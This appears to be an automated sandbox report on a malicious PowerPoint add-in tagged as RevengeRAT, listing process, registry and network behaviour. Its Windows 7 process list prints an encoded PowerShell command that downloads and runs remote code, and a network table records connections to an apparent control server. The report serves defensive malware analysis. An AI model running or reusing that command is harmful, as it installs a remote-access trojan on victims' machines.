Analysis Overview
SHA256
1a6330ef84d244b1c672deeabcf38b93c1e1f9e31d9b7ac96b5e57adb082189b
Threat Level: Known bad
The file detalhes relevantes.ppam was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
RevengeRAT
Blocklisted process makes network request
Process spawned suspicious child process
Suspicious use of SetThreadContext
System Location Discovery: System Language Discovery
Modifies registry class
Uses Volume Shadow Copy WMI provider
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious behavior: AddClipboardFormatListener
Enumerates system info in registry
Suspicious use of AdjustPrivilegeToken
Checks processor information in registry
Uses Task Scheduler COM API
Uses Volume Shadow Copy service COM API
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-06 20:01
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-06 20:01
Reported
2024-08-06 20:03
Platform
win7-20240729-en
Max time kernel
146s
Max time network
146s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE |
RevengeRAT
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2840 set thread context of 2864 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C4-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DA-5A91-11CF-8700-00AA0060263B}\ = "DiagramNodes" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493472-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C3-5A91-11CF-8700-00AA0060263B}\ = "Table" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C8-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346E-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493474-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348C-5A91-11CF-8700-00AA0060263B} | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E557-4FF5-48F4-8215-5505F990966F} | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E6-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A61-F07E-4CA4-AF6F-BEF486AA4E6F} | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E552-4FF5-48F4-8215-5505F990966F}\ = "Player" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E554-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CD-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A75-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349B-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6A-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E55A-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C9-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F6-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E558-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32 | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934B9-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D3-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E1-5A91-11CF-8700-00AA0060263B}\ = "EffectParameters" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493465-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A73-F07E-4CA4-AF6F-BEF486AA4E6F} | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E556-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32 | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A69-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A75-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "Series" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493472-5A91-11CF-8700-00AA0060263B}\ = "SoundEffect" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493496-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C7-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345D-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346C-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347C-5A91-11CF-8700-00AA0060263B} | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5B-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493460-5A91-11CF-8700-00AA0060263B}\TypeLib | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347B-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493482-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493489-5A91-11CF-8700-00AA0060263B} | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F5-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CF-5A91-11CF-8700-00AA0060263B}\ = "PublishObjects" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493477-5A91-11CF-8700-00AA0060263B}\ = "PlaceholderFormat" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493497-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A60-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A57-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E551-4FF5-48F4-8215-5505F990966F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345C-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493496-5A91-11CF-8700-00AA0060263B}\ = "ParagraphFormat" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E8-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D4-5A91-11CF-8700-00AA0060263B}\ = "Comments" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493454-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5C-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349C-5A91-11CF-8700-00AA0060263B} | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3} | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F8-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346E-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E8-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\detalhes relevantes.ppam"
C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAG0AYQBzAHQAZQByAC0AMgA3ADEAYgA4AC4AYQBwAHAAcwBwAG8AdAAuAGMAbwBtAC8AbwAvAE4ATwBWAE8AUgBFAFYARQBSAEcARQBNAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADcAOQA2AGYAZQA4ADIANAAtADMAZQA0ADUALQA0ADYANgBkAC0AOQBkADYANgAtADYAOAAxADQAZQBhADIANwAyAGYAYQA0AA0ACgAnACkAOwAgAA0ACgBkAG4ATgB0AFIAcAB0AFcAUgBGAEQAaQBVAHAAVQBjAEcASABMAHoAbwBEAFUARgBvAEUAQwBRAHoAQwBMAEYAaABWAGkAVAB2AFMASABmAHQAYwBwAFoARQBVAFIARABOAGIAQgBkAEoAcwBwAGIAQQBpAGUAUwBNAEkAYQBuAFUAQwBiAFoAYgBjAHMATwBFAEcARgB1AFMADQAKAA==""
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | firebasestorage.googleapis.com | udp |
| NL | 172.217.23.202:443 | firebasestorage.googleapis.com | tcp |
| BR | 18.228.173.171:5222 | tcp | |
| BR | 18.228.173.171:5222 | tcp | |
| BR | 18.228.173.171:5222 | tcp | |
| BR | 18.228.173.171:5222 | tcp |
Files
memory/2032-0-0x000000002DF61000-0x000000002DF62000-memory.dmp
memory/2032-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2032-2-0x0000000072C6D000-0x0000000072C78000-memory.dmp
memory/2032-8-0x0000000006550000-0x0000000006650000-memory.dmp
memory/2032-7-0x00000000055D0000-0x00000000056D0000-memory.dmp
memory/2032-9-0x00000000055D0000-0x00000000056D0000-memory.dmp
memory/2032-15-0x00000000055D0000-0x00000000056D0000-memory.dmp
memory/2032-18-0x00000000055D0000-0x00000000056D0000-memory.dmp
memory/2032-13-0x00000000055D0000-0x00000000056D0000-memory.dmp
memory/2840-32-0x00000000026B0000-0x00000000026C8000-memory.dmp
memory/2840-30-0x00000000026B0000-0x00000000026C8000-memory.dmp
memory/2840-28-0x00000000026B0000-0x00000000026C8000-memory.dmp
memory/2840-27-0x00000000026B0000-0x00000000026C8000-memory.dmp
memory/2840-24-0x00000000026B0000-0x00000000026C8000-memory.dmp
memory/2840-22-0x00000000026B0000-0x00000000026C8000-memory.dmp
memory/2840-21-0x00000000026B0000-0x00000000026C8000-memory.dmp
memory/2864-33-0x0000000000400000-0x000000000040A000-memory.dmp
memory/2864-44-0x0000000000400000-0x000000000040A000-memory.dmp
memory/2864-43-0x0000000000400000-0x000000000040A000-memory.dmp
memory/2864-42-0x0000000000400000-0x000000000040A000-memory.dmp
memory/2864-41-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/2864-39-0x0000000000400000-0x000000000040A000-memory.dmp
memory/2864-37-0x0000000000400000-0x000000000040A000-memory.dmp
memory/2864-35-0x0000000000400000-0x000000000040A000-memory.dmp
memory/2032-46-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2032-47-0x0000000072C6D000-0x0000000072C78000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-06 20:01
Reported
2024-08-06 20:03
Platform
win10v2004-20240802-en
Max time kernel
94s
Max time network
117s
Command Line
Signatures
Process spawned suspicious child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process | N/A | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE | C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Windows\system32\dwwin.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Windows\system32\dwwin.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\system32\dwwin.exe | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Windows\system32\dwwin.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Windows\system32\dwwin.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2436 wrote to memory of 1864 | N/A | C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE |
| PID 2436 wrote to memory of 1864 | N/A | C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE |
| PID 1864 wrote to memory of 3916 | N/A | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE | C:\Windows\system32\dwwin.exe |
| PID 1864 wrote to memory of 3916 | N/A | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE | C:\Windows\system32\dwwin.exe |
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Processes
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\detalhes relevantes.ppam" /ou ""
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE
"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 4024
C:\Windows\system32\dwwin.exe
C:\Windows\system32\dwwin.exe -x -s 4024
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.32.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 29.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 77.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 76.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
Files
memory/2436-0-0x00007FFF55DF0000-0x00007FFF55E00000-memory.dmp
memory/2436-1-0x00007FFF55DF0000-0x00007FFF55E00000-memory.dmp
memory/2436-2-0x00007FFF55DF0000-0x00007FFF55E00000-memory.dmp
memory/2436-3-0x00007FFF95E0D000-0x00007FFF95E0E000-memory.dmp
memory/2436-4-0x00007FFF55DF0000-0x00007FFF55E00000-memory.dmp
memory/2436-5-0x00007FFF55DF0000-0x00007FFF55E00000-memory.dmp
memory/2436-6-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp
memory/2436-7-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp
memory/2436-9-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp
memory/2436-8-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp
memory/2436-10-0x00007FFF53680000-0x00007FFF53690000-memory.dmp
